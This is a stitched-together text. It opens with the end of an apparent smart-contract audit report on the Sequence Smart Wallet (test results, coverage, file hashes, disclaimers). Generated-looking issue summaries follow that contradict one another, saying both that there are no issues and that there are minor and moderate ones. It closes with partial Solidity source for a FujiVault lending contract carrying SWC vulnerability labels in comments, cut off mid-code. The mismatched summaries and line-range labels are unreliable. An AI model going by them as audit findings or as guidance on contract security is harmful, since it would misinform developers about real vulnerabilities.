signature (103ms) ✓ Should reject old owner signature (646ms) ✓ Should fail to update to invalid image hash (149ms) ✓ Should fail to change image hash from non-self address (341ms) ✓ Should use image hash storage key ✓ Should fail to execute transactions on moduleUpgradable implementation (83ms) ✓ Should update wallet and require configuration (450ms) ✓ Should fail to update wallet and require wrong configuration (893ms) After updating the image hash ✓ Should have updated the image hash ✓ Should accept new owners signatures (317ms) ✓ Should reject old owner signatures (156ms) ✓ Should use image hash storage key Multisignature Forced dynamic signature encoding With 1/2 wallet ✓ Should accept signed message by first owner (578ms) ✓ Should accept signed message by second owner (121ms) ✓ Should accept signed message by both owners (132ms) ✓ Should reject message without signatures (131ms) ✓ Should reject message signed by non-owner (144ms) With 2/2 wallet ✓ Should accept signed message by both owners (190ms) ✓ Should reject message without signatures (371ms) ✓ Should reject message signed only by first owner (184ms) ✓ Should reject message signed only by second owner (277ms) ✓ Should reject message signed by non-owner (288ms) With 2/3 wallet ✓ Should accept signed message by first and second owner (636ms) ✓ Should accept signed message by first and last owner (126ms) ✓ Should accept signed message by second and last owner (340ms) ✓ Should accept signed message by all owners (188ms) ✓ Should reject message signed only by first owner (174ms) ✓ Should reject message signed only by second owner (153ms) ✓ Should reject message signed only by last owner (302ms) ✓ Should reject message not signed (355ms) ✓ Should reject message signed by non-owner (194ms) ✓ Should reject message if the image lacks an owner (413ms) With 255/255 wallet ✓ Should accept message signed by all owners (6894ms) ✓ Should reject message signed by non-owner (11166ms) ✓ Should reject message missing a signature (11419ms) With weighted owners ✓ Should accept signed message with (3+1)/4 weight (128ms) ✓ Should accept signed message with (3+3)/4 weight (125ms) ✓ Should accept signed message with (3+3+1+1)/4 weight (152ms) ✓ Should accept signed message with (3+3+1+1+1)/4 weight (361ms) ✓ Should reject signed message with (1)/4 weight (154ms) ✓ Should reject signed message with (1+1)/4 weight (192ms) ✓ Should reject signed message with (1+1+1)/4 weight (211ms) ✓ Should reject signed message with (3)/4 weight (230ms) ✓ Should reject signed message with (0)/4 weight (160ms) ✓ Should reject message signed by non-owner (264ms)Reject invalid signatures ✓ Should reject invalid signature type (125ms) ✓ Should reject invalid s value (107ms) ✓ Should reject invalid v value (113ms) Default signature encoding With 1/2 wallet ✓ Should accept signed message by first owner (115ms) ✓ Should accept signed message by second owner (118ms) ✓ Should accept signed message by both owners (254ms) ✓ Should reject message without signatures (157ms) ✓ Should reject message signed by non-owner (220ms) With 2/2 wallet ✓ Should accept signed message by both owners (128ms) ✓ Should reject message without signatures (128ms) ✓ Should reject message signed only by first owner (179ms) ✓ Should reject message signed only by second owner (252ms) ✓ Should reject message signed by non-owner (193ms) With 2/3 wallet ✓ Should accept signed message by first and second owner (142ms) ✓ Should accept signed message by first and last owner (171ms) ✓ Should accept signed message by second and last owner (152ms) ✓ Should accept signed message by all owners (178ms) ✓ Should reject message signed only by first owner (263ms) ✓ Should reject message signed only by second owner (185ms) ✓ Should reject message signed only by last owner (198ms) ✓ Should reject message not signed (184ms) ✓ Should reject message signed by non-owner (232ms) ✓ Should reject message if the image lacks an owner (382ms) With 255/255 wallet ✓ Should accept message signed by all owners (6453ms) ✓ Should reject message signed by non-owner (10887ms) ✓ Should reject message missing a signature (9944ms) With weighted owners ✓ Should accept signed message with (3+1)/4 weight (125ms) ✓ Should accept signed message with (3+3)/4 weight (114ms) ✓ Should accept signed message with (3+3+1+1)/4 weight (147ms) ✓ Should accept signed message with (3+3+1+1+1)/4 weight (152ms) ✓ Should reject signed message with (1)/4 weight (509ms) ✓ Should reject signed message with (1+1)/4 weight (190ms) ✓ Should reject signed message with (1+1+1)/4 weight (550ms) ✓ Should reject signed message with (3)/4 weight (192ms) ✓ Should reject signed message with (0)/4 weight (190ms) ✓ Should reject message signed by non-owner (271ms) Reject invalid signatures ✓ Should reject invalid signature type (121ms) ✓ Should reject invalid s value (120ms) ✓ Should reject invalid v value (94ms) Gas limit ✓ Should forward the defined amount of gas (138ms) ✓ Should forward different amounts of gas (2116ms) ✓ Should fail if forwarded call runs out of gas ✓ Should fail without reverting if optional call runs out of gas (178ms) ✓ Should continue execution if optional call runs out of gas (789ms) ✓ Should fail if transaction is executed with not enough gas (109ms) Create contracts ✓ Should create a contract (438ms) ✓ Should create a contract with value (172ms) ✓ Should fail to create a contract from non-self (58ms) Transaction events ✓ Should emit TxExecuted event (107ms) ✓ Should emit multiple TxExecuted events (371ms) Internal bundles ✓ Should execute internal bundle (436ms) ✓ Should execute multiple internal bundles (1550ms) ✓ Should execute nested internal bundles (707ms) ✓ Should revert bundle without reverting transaction (560ms) Contract: Multi call utils Call multiple contracts ✓ Should execute empty call (44ms) ✓ Should execute single call (130ms) ✓ Should execute two calls (379ms) ✓ Should execute calls to multiple contracts (396ms) ✓ Return other calls even if single call fails (457ms) ✓ Fail if call with revert on error fails (316ms) ✓ Fail if batch includes delegate call (200ms) ✓ Fail if not enough gas for call (344ms) ✓ Should call globals (309ms) Contract: Require utils Require min-nonce ✓ Should pass nonce increased from self-wallet (1296ms) ✓ Should pass nonce increased from different wallet (1109ms) ✓ Should fail if nonce is below required on different wallet (1054ms) ✓ Should fail if nonce is below required on self-wallet on a different space (568ms) ✓ Should fail if nonce is below required on self-wallet (275ms) Expirable transactions ✓ Should pass if non expired ✓ Should fail if expired (42ms) ✓ Should pass bundle if non expired (595ms) ✓ Should fail bundle if expired (271ms) 941 passing (6m) Code CoverageThe code features very good test coverage. File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Factory.sol 100 100 100 100 Wallet.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IERC1271Wallet.sol 100 100 100 100 contracts/ interfaces/ receivers/ 100 100 100 100 IERC1155Receiver.sol 100 100 100 100 IERC223Receiver.sol 100 100 100 100 IERC721Receiver.sol 100 100 100 100 contracts/ modules/ 88.89 100 75 88.89 GuestModule.sol 87.5 100 60 87.5 101,116 MainModule.sol 100 100 100 100 MainModuleUpgradable.sol 100 100 100 100 contracts/ modules/ commons/ 100 95.83 97.67 99.12 Implementation.sol 100 100 50 50 27 ModuleAuth.sol 100 100 100 100 ModuleAuthFixed.sol 100 100 100 100 ModuleAuthUpgradable.sol 100 100 100 100 ModuleCalls.sol 100 100 100 100 ModuleCreator.sol 100 100 100 100 ModuleERC165.sol 100 100 100 100 ModuleHooks.sol 100 75 100 100 ModuleSelfAuth.sol 100 100 100 100 ModuleStorage.sol 100 100 100 100 ModuleUpdate.sol 100 100 100 100 contracts/ modules/ commons/ interfaces/ 100 100 100 100 IModuleAuth.sol 100 100 100 100 IModuleAuthUpgradable.sol 100 100 100 100 IModuleCalls.sol 100 100 100 100 IModuleCreator.sol 100 100 100 100 IModuleHooks.sol 100 100 100 100 IModuleUpdate.sol 100 100 100 100 contracts/ modules/ utils/ 100 100 95.24 100 MultiCallUtils.sol 100 100 100 100 RequireUtils.sol 100 100 100 100 SequenceUtils.sol 100 100 0 100 contracts/ utils/ 97.14 92.86 100 97.56 LibAddress.sol 100 100 100 100 LibBytes.sol 100 100 100 100 SignatureValidator.sol 95.45 85.71 100 95 75 All files 98.49 95.92 95.18 98.13 AppendixFile Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after the security review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 1954f3883db44f020b2e25aaaefc9fe39a9be36cba21162b6615ba5d86639dc2 ./contracts/Factory.sol 46eda621b9c822e2f8df7d695dd7ebe270d425451daff8178ab9dcf34d6f7665 ./contracts/Wallet.sol 76a68bb06d7e554b2933cf403ab19054ff1f3de82e93ecde72970e789fb3a1e7 ./contracts/interfaces/IERC1271Wallet.sol b82f74ee2e7f986631cbb7aea5e274ddc0c6f01285db11b3bc92d44942cdff5d ./contracts/interfaces/receivers/IERC223Receiver.sol 307b149327c907abd9332cdc83acfc5b4bed690f61b02b024c8f6fa464e31812 ./contracts/interfaces/receivers/IERC1155Receiver.sol 02599760d4c296aea9081bd0ccd1ba2a37208b49a716fce7952272da9ffe2fde ./contracts/interfaces/receivers/IERC721Receiver.sol 4d39090af8432341041cbfda16285aec9b700611ace7c7ed95d9fa15650b7462 ./contracts/modules/GuestModule.sol 935e3ef2b58f7cfd4b95cdf9f06c0c15b7e740d1b916a919e4017b8b468eab41 ./contracts/modules/MainModule.sol c5fc385d24223b0d286ee8845620bf8a71e3f543eaf639c219ad4b08ffe81ca0 ./contracts/modules/MainModuleUpgradable.sol 37faa4ad3f33ae505b8386ca021e560741cfa4938c30b85b819023b4c0e9ae2f ./contracts/modules/utils/SequenceUtils.sol b8ae986b20f544b2abfee1b4b829dbd2eeb2f759d8d2e1042baf1ff5b357c833 ./contracts/modules/utils/RequireUtils.sol c03ca5dc3ac2ae395bb1729753bd7463e3d189d3ad84557237fec06eb27aaec4 ./contracts/modules/utils/MultiCallUtils.sol 7e3ea36359e465eb940ffa1b8641c5530e53343a80470d5bf829c124f1fd0a22 ./contracts/modules/commons/ModuleCalls.sol 0e598ae0f57d4e0f17ac851b2453e1554d483c659289306b3f344145a463a6d8 ./contracts/modules/commons/ModuleCreator.sol 135e921611d048c796f62976e36b855d32e60a26fbe1490bc84c827dcd65bb4a ./contracts/modules/commons/ModuleAuth.sol 0badd65b4d84342d59d43c6cfde70fde4500757ca373c276c0e53a0f4f0dc687 ./contracts/modules/commons/ModuleERC165.sol b3ee9651eec268697a4d4ae290a288ce7339433e266956ab7593fd1c85e5149d ./contracts/modules/commons/ModuleHooks.sol 9d112cdfe16332755772f3e82c3749a7a4faedd91e960cc0b3c53b8d851524d9 ./contracts/modules/commons/ModuleStorage.sol 47c243c703f71b483e98468053ea7bde7fb976417d84fe546e68f00b58215156 ./contracts/modules/commons/Implementation.sol 51396b9700f882c9e7c5459f1c7bc5e79678fa28ca25282743fd53d751b47d91 ./contracts/modules/commons/ModuleUpdate.sol 9fde9d637946d38ef29b8fe2b6f754618e019dd8fca2c0f3c25d77a61b7941e4 ./contracts/modules/commons/ModuleSelfAuth.sol 831ef918a6db5b3b75c39287189a90f7265bf078a2820aa0c1857b4206762a7a ./contracts/modules/commons/ModuleAuthFixed.sol 1a65f734b3a5d20cfa1cc6ed24f8b859ea088bbedfdb1e99c39e7a3f85971f48 ./contracts/modules/commons/ModuleAuthUpgradable.sol f864f393563a55894037af7035c3638f1adca6e5744b7e13df7608676add3b6b ./contracts/modules/commons/interfaces/IModuleHooks.sol b9a5ee32c743de5100f5e7fddbb1e157c1955f92e39b2030fc4eede14c4bcd9a ./contracts/modules/commons/interfaces/IModuleCalls.sol b5572057bde4e6b561121c31a6a02e33f9ea60af03dfd8c6bf58cb34415b932f ./contracts/modules/commons/interfaces/IModuleCreator.sol bb494cc39ec2e4d86caad62d03f1ecf7a4c34ff5fcaf9fe631ddae63e921dec7 ./contracts/modules/commons/interfaces/IModuleUpdate.sol 841881ecb4f93f84ae1658f68484e7f5eb91cfd5cf6d228707b2f5c03eb381d7 ./contracts/modules/commons/interfaces/IModuleAuthUpgradable.sol 16fa09ba4dccf2a820424f13342f85ee8524ec99c710fbbd4029bb3a877e8ff0 ./contracts/modules/commons/interfaces/IModuleAuth.sol 80b33f7aa7547fa699d4e970d61666769824a2e59d620b96d9471444eb9701ca ./contracts/utils/LibAddress.sol c8fd3ca7e12098bdc425d685f0489b256f1059909bde81387811f35531923735 ./contracts/utils/SignatureValidator.sol 70bc383cc63cdaee1704722020689b1512d9512a73ec573125efe664c157ff2e ./contracts/utils/LibBytes.sol b62789b5726966c39197d502ae45938fcd05134c704aa3416e5111a1a91e22d5 ./contracts/migrations/Migrations.sol 9c98620dd5fb7f83a511a535550991e604044520728d434adb2031228027acf5 ./contracts/mocks/CallReceiverMock.sol 39029e409f5cca6e4281e939250c4b7c87010b1e67c7bab041c24a38418be40b ./contracts/mocks/LibBytesImpl.sol 8033085e2b64f7139e29c0167e373b2b4b379462ae24ef6216a15797111f41c1 ./contracts/mocks/HookCallerMock.sol 419a7bed478b7981500ccafd30db7928f4f5b7199a12b3ee3ecbb4c6a3f6d14f ./contracts/mocks/GasBurnerMock.sol 0a9a89997e39560593cd2661c69fa33c458550bd93453e9e2a6331913af9f59d ./contracts/mocks/DelegateCallMock.sol 3cf61dbb607d0dc109edf01b60f421982fc4df91dc62739d6f30431f82ae8ab9 ./contracts/mocks/HookMock.sol d6acd66a6e06800f7e9844076449077c15777da5f79c2238c471fd62edf3bcb0 ./contracts/mocks/ModuleMock.sol c098a83ad7ad211c73116f6bd92c109dc8385e432cb0b6b0086e9b45ffe138d1 ./contracts/mocks/ERC165CheckerMock.sol Tests ad220c634ce4dc91b0e9929de802d976d277b2eb94158d1b98fb6896c2b86262 ./tests/LibBytes.spec.ts dbc7e47e3f3d938594c81806dab10f6100bd9270a01aec6b06ab994cecf24971 ./tests/RequireUtils.spec.ts 2f2daf6c4d57efc18fadaa8b763dfdc805dfc2e5859038c308aa740a7f55c4a1 ./tests/MainModule.spec.ts 97e79c97fab2543a2a4e7732833df48df0c09678a969ef345e740d08b0988ca0 ./tests/MultiCallUtils.spec.ts 184d58a1b193765d9038ec0885fca4e67dd4934e32d34746e738ac3c49a25576 ./tests/MainModule.bench.ts 961a9ba5fb12c95e7d2a96d9a3aa17242bc9fdf275e9cb626a4817114beb1d52 ./tests/ERC165.spec.ts 64d8081d3e14142456c623d216f990f83c8cf885d12c5fc697119c489841dfe9 ./tests/GuestModule.spec.ts fea38e1e42ea98d288a4eb68b881346b234fb6dbd7d26cbcfd5056c0ebe773d1 ./tests/Factory.spec.ts 6d5c37e4ea1cf43408122b6196ddb650c76d73a648b0204547b78d370b57b361 ./tests/utils/helpers.ts 56cb327ecd10477a223ab6b60318d2cf077c64e422cd2aff87c7d9c11d603e49 ./tests/utils/contract.ts ad6f227a7d5546055690378e7233b3ddb5b2144c9aff16aad100b3fa919f845c ./tests/utils/index.ts Changelog2021-02-08 - Initial report •2021-02-18 - Report finalization after acknowledgement of issues •About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure blockchain platforms at scale using computer-aided reasoning tools, with a mission to help boost the adoption of this exponentially growing technology. With over 1000 Google scholar citations and numerous published papers, Quantstamp's team has decades of combined experience in formal verification, static analysis, and software verification. Quantstamp has also developed a protocol to help smart contract developers and projects worldwide to perform cost-effective smart contract security scans. To date, Quantstamp has protected $5B in digital asset risk from hackers and assisted dozens of blockchain projects globally through its white glove security assessment services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Quantstamp's collaborations with leading academic institutions such as the National University of Singapore and MIT (Massachusetts Institute of Technology) reflect our commitment to research, development, and enabling world-class blockchain security. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third-party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Blockchain technology remains under development and is subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond the programming language, or other programming aspects that could present security risks. A report does not indicate the endorsement of any particular project or team, nor guarantee its security. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell a product, service or any other asset. To the fullest extent permitted by law, we disclaim all warranties, expressed or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third-party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked websites, any websites or mobile applications appearing on any advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. Sequence Smart Wallet Audit
Issues Count of Minor/Moderate/Major/Critical - Minor Issues: 0 - Moderate Issues: 0 - Major Issues: 0 - Critical Issues: 0 Observations - The code provides support for ERC1271, is well organized, respects the best practices (with the exception of the instances listed in this report), and is equipped with a reasonable amount of in-code documentation. Conclusion - No issues were found in the code. Issues Count of Minor/Moderate/Major/Critical: No Issues Observations: • Code review was conducted to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. • Test coverage analysis and symbolic execution were used to analyze the program. • Best practices review was conducted to improve efficiency, effectiveness, clarify, maintainability, security, and control. Conclusion: The auditors did not discover any serious security concerns, and only missed a more comprehensive external documentation of the codebase in its entirety. The Sequence Smart Wallet team acknowledged all findings outlined in this report. Issues Count of Minor/Moderate/Major/Critical: Minor Minor Issues: Problem: contracts/modules/commons/ModuleAuth.sol Function is missing a return statement for the else branch. Fix: Explicitly return a value when the signature validation fails. Moderate: Problem: LibBytes.sol#L93: We suggest renaming to to better capture its purpose without clashing with naming that is not related to dynamic signatures. Fix: Rename to isValidDynamicSignature() Major: Problem: None Fix: None Critical: Problem: None Fix: None Observations: Code adheres to the specification and ERC1271. Code adheres to the documentation. Conclusion: Quantstamp confirmed that the calls currently made to the functions in question cannot reach the overflow state, this does not need to be the case for future uses of these function.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol"; import "./abstracts/vault/VaultBaseUpgradeable.sol"; import "./interfaces/IVault.sol"; import "./interfaces/IHarvester.sol"; import "./interfaces/ISwapper.sol"; import "./interfaces/IERC20Extended.sol"; import "./interfaces/chainlink/AggregatorV3Interface.sol"; import "./interfaces/IFujiAdmin.sol"; import "./interfaces/IFujiOracle.sol"; import "./interfaces/IFujiERC1155.sol"; import "./interfaces/IProvider.sol"; import "./libraries/Errors.sol"; import "./libraries/LibUniversalERC20Upgradeable.sol"; // SWC-Unprotected SELFDESTRUCT Instruction: L23 - L673 contract FujiVault is VaultBaseUpgradeable, ReentrancyGuardUpgradeable, IVault { using SafeERC20Upgradeable for IERC20Upgradeable; using LibUniversalERC20Upgradeable for IERC20Upgradeable; address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; struct Factor { uint64 a; uint64 b; } // Safety factor Factor public safetyF; // Collateralization factor Factor public collatF; // Protocol Fee factor Factor public override protocolFee; // Bonus factor for liquidation Factor public bonusLiqF; //State variables address[] public providers; address public override activeProvider; IFujiAdmin private _fujiAdmin; address public override fujiERC1155; IFujiOracle public oracle; string public name; uint8 internal _collateralAssetDecimals; uint8 internal _borrowAssetDecimals; uint256 public constant ONE_YEAR = 60 * 60 * 24 * 365; mapping(address => uint256) internal _userFeeTimestamps; // to be used for protocol fee calculation uint256 public remainingProtocolFee; modifier isAuthorized() { require( msg.sender == owner() || msg.sender == _fujiAdmin.getController(), Errors.VL_NOT_AUTHORIZED ); _; } modifier onlyFlash() { require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED); _; } modifier onlyFliquidator() { require(msg.sender == _fujiAdmin.getFliquidator(), Errors.VL_NOT_AUTHORIZED); _; } function initialize( address _fujiadmin, address _oracle, address _collateralAsset, address _borrowAsset ) external initializer { __Ownable_init(); __Pausable_init(); __ReentrancyGuard_init(); _fujiAdmin = IFujiAdmin(_fujiadmin); oracle = IFujiOracle(_oracle); vAssets.collateralAsset = _collateralAsset; vAssets.borrowAsset = _borrowAsset; string memory collateralSymbol; string memory borrowSymbol; if (_collateralAsset == ETH) { collateralSymbol = "ETH"; _collateralAssetDecimals = 18; } else { collateralSymbol = IERC20Extended(_collateralAsset).symbol(); _collateralAssetDecimals = IERC20Extended(_collateralAsset).decimals(); } if (_borrowAsset == ETH) { borrowSymbol = "ETH"; _borrowAssetDecimals = 18; } else { borrowSymbol = IERC20Extended(_borrowAsset).symbol(); _borrowAssetDecimals = IERC20Extended(_borrowAsset).decimals(); } name = string(abi.encodePacked("Vault", collateralSymbol, borrowSymbol)); // 1.05 safetyF.a = 21; safetyF.b = 20; // 1.269 collatF.a = 80; collatF.b = 63; // 0.05 bonusLiqF.a = 1; bonusLiqF.b = 20; protocolFee.a = 1; protocolFee.b = 1000; } receive() external payable {} //Core functions /** * @dev Deposits collateral and borrows underlying in a single function call from activeProvider * @param _collateralAmount: amount to be deposited * @param _borrowAmount: amount to be borrowed */ function depositAndBorrow(uint256 _collateralAmount, uint256 _borrowAmount) external payable { deposit(_collateralAmount); borrow(_borrowAmount); } /** * @dev Paybacks the underlying asset and withdraws collateral in a single function call from activeProvider * @param _paybackAmount: amount of underlying asset to be payback, pass -1 to pay full amount * @param _collateralAmount: amount of collateral to be withdrawn, pass -1 to withdraw maximum amount */ function paybackAndWithdraw(int256 _paybackAmount, int256 _collateralAmount) external payable { payback(_paybackAmount); withdraw(_collateralAmount); } /** * @dev Deposit Vault's type collateral to activeProvider * call Controller checkrates * @param _collateralAmount: to be deposited * Emits a {Deposit} event. */ function deposit(uint256 _collateralAmount) public payable override { if (vAssets.collateralAsset == ETH) { require(msg.value == _collateralAmount && _collateralAmount != 0, Errors.VL_AMOUNT_ERROR); } else { require(_collateralAmount != 0, Errors.VL_AMOUNT_ERROR); IERC20Upgradeable(vAssets.collateralAsset).safeTransferFrom( msg.sender, address(this), _collateralAmount ); } // Delegate Call Deposit to current provider // SWC-Delegatecall to Untrusted Callee: L177 - L178 _deposit(_collateralAmount, address(activeProvider)); // Collateral Management IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.collateralID, _collateralAmount, ""); emit Deposit(msg.sender, vAssets.collateralAsset, _collateralAmount); } /** * @dev Withdraws Vault's type collateral from activeProvider * call Controller checkrates - by normal users * @param _withdrawAmount: amount of collateral to withdraw * otherwise pass -1 to withdraw maximum amount possible of collateral (including safety factors) * Emits a {Withdraw} event. */ function withdraw(int256 _withdrawAmount) public override nonReentrant { // Logic used when called by Normal User updateF1155Balances(); // Get User Collateral in this Vault uint256 providedCollateral = IFujiERC1155(fujiERC1155).balanceOf( msg.sender, vAssets.collateralID ); // Check User has collateral require(providedCollateral > 0, Errors.VL_INVALID_COLLATERAL); // Get Required Collateral with Factors to maintain debt position healthy uint256 neededCollateral = getNeededCollateralFor( IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID), true ); uint256 amountToWithdraw = _withdrawAmount < 0 ? providedCollateral - neededCollateral : uint256(_withdrawAmount); // Check Withdrawal amount, and that it will not fall undercollaterized. require( amountToWithdraw != 0 && providedCollateral - amountToWithdraw >= neededCollateral, Errors.VL_INVALID_WITHDRAW_AMOUNT ); // Collateral Management before Withdraw Operation IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.collateralID, amountToWithdraw); // Delegate Call Withdraw to current provider // SWC-Delegatecall to Untrusted Callee: L227 _withdraw(amountToWithdraw, address(activeProvider)); // Transer Assets to User IERC20Upgradeable(vAssets.collateralAsset).univTransfer(payable(msg.sender), amountToWithdraw); emit Withdraw(msg.sender, vAssets.collateralAsset, amountToWithdraw); } /** * @dev Withdraws Vault's type collateral from activeProvider * call Controller checkrates - by Fliquidator * @param _withdrawAmount: amount of collateral to withdraw * otherwise pass -1 to withdraw maximum amount possible of collateral (including safety factors) * Emits a {Withdraw} event. */ function withdrawLiq(int256 _withdrawAmount) external override nonReentrant onlyFliquidator { // Logic used when called by Fliquidator _withdraw(uint256(_withdrawAmount), address(activeProvider)); IERC20Upgradeable(vAssets.collateralAsset).univTransfer( payable(msg.sender), uint256(_withdrawAmount) ); } /** * @dev Borrows Vault's type underlying amount from activeProvider * @param _borrowAmount: token amount of underlying to borrow * Emits a {Borrow} event. */ function borrow(uint256 _borrowAmount) public override nonReentrant { updateF1155Balances(); uint256 providedCollateral = IFujiERC1155(fujiERC1155).balanceOf( msg.sender, vAssets.collateralID ); uint256 debtPrincipal = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID); uint256 totalBorrow = _borrowAmount + debtPrincipal; // Get Required Collateral with Factors to maintain debt position healthy uint256 neededCollateral = getNeededCollateralFor(totalBorrow, true); // Check Provided Collateral is not Zero, and greater than needed to maintain healthy position require( _borrowAmount != 0 && providedCollateral > neededCollateral, Errors.VL_INVALID_BORROW_AMOUNT ); // Update timestamp for fee calculation uint256 userFee = (debtPrincipal * (block.timestamp - _userFeeTimestamps[msg.sender]) * protocolFee.a) / protocolFee.b / ONE_YEAR; _userFeeTimestamps[msg.sender] = block.timestamp - (userFee * ONE_YEAR * protocolFee.a) / protocolFee.b / totalBorrow; // Debt Management // SWC-Delegatecall to Untrusted Callee: L291 IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.borrowID, _borrowAmount, ""); // Delegate Call Borrow to current provider _borrow(_borrowAmount, address(activeProvider)); // Transer Assets to User IERC20Upgradeable(vAssets.borrowAsset).univTransfer(payable(msg.sender), _borrowAmount); emit Borrow(msg.sender, vAssets.borrowAsset, _borrowAmount); } /** * @dev Paybacks Vault's type underlying to activeProvider - called by normal user * @param _repayAmount: token amount of underlying to repay, or pass -1 to repay full ammount * Emits a {Repay} event. */ function payback(int256 _repayAmount) public payable override { // Logic used when called by normal user updateF1155Balances(); uint256 debtBalance = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID); uint256 userFee = _userProtocolFee(msg.sender, debtBalance); // Check User Debt is greater than Zero and amount is not Zero require(uint256(_repayAmount) > userFee && debtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK); // TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt // If passed argument amount is negative do MAX uint256 amountToPayback = _repayAmount < 0 ? debtBalance + userFee : uint256(_repayAmount); if (vAssets.borrowAsset == ETH) { require(msg.value >= amountToPayback, Errors.VL_AMOUNT_ERROR); if (msg.value > amountToPayback) { IERC20Upgradeable(vAssets.borrowAsset).univTransfer( payable(msg.sender), msg.value - amountToPayback ); } } else { // Check User Allowance require( IERC20Upgradeable(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= amountToPayback, Errors.VL_MISSING_ERC20_ALLOWANCE ); // Transfer Asset from User to Vault // SWC-Delegatecall to Untrusted Callee: L340 IERC20Upgradeable(vAssets.borrowAsset).safeTransferFrom( msg.sender, address(this), amountToPayback ); } // Delegate Call Payback to current provider _payback(amountToPayback - userFee, address(activeProvider)); // Debt Management IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.borrowID, amountToPayback - userFee); // Update protocol fees _userFeeTimestamps[msg.sender] = block.timestamp; remainingProtocolFee += userFee; emit Payback(msg.sender, vAssets.borrowAsset, debtBalance); } /** * @dev Paybacks Vault's type underlying to activeProvider * @param _repayAmount: token amount of underlying to repay, or pass -1 to repay full ammount * Emits a {Repay} event. */ function paybackLiq(address[] memory _users, uint256 _repayAmount) external payable override onlyFliquidator { // calculate protocol fee uint256 _fee = 0; for (uint256 i = 0; i < _users.length; i++) { if (_users[i] != address(0)) { _userFeeTimestamps[_users[i]] = block.timestamp; uint256 debtPrincipal = IFujiERC1155(fujiERC1155).balanceOf(_users[i], vAssets.borrowID); _fee += _userProtocolFee(_users[i], debtPrincipal); } } // Logic used when called by Fliquidator _payback(_repayAmount - _fee, address(activeProvider)); // Update protocol fees remainingProtocolFee += _fee; } /** * @dev Changes Vault debt and collateral to newProvider, called by Flasher * @param _newProvider new provider's address * @param _flashLoanAmount amount of flashloan underlying to repay Flashloan * Emits a {Switch} event. */ function executeSwitch( address _newProvider, uint256 _flashLoanAmount, uint256 _fee ) external payable override onlyFlash whenNotPaused { // Compute Ratio of transfer before payback uint256 ratio = (_flashLoanAmount * 1e18) / (IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset)); // Payback current provider _payback(_flashLoanAmount, activeProvider); // Withdraw collateral proportional ratio from current provider uint256 collateraltoMove = (IProvider(activeProvider).getDepositBalance( vAssets.collateralAsset ) * ratio) / 1e18; _withdraw(collateraltoMove, activeProvider); // Deposit to the new provider _deposit(collateraltoMove, _newProvider); // Borrow from the new provider, borrowBalance + premium _borrow(_flashLoanAmount + _fee, _newProvider); // return borrowed amount to Flasher IERC20Upgradeable(vAssets.borrowAsset).univTransfer( payable(msg.sender), _flashLoanAmount + _fee ); emit Switch(activeProvider, _newProvider, 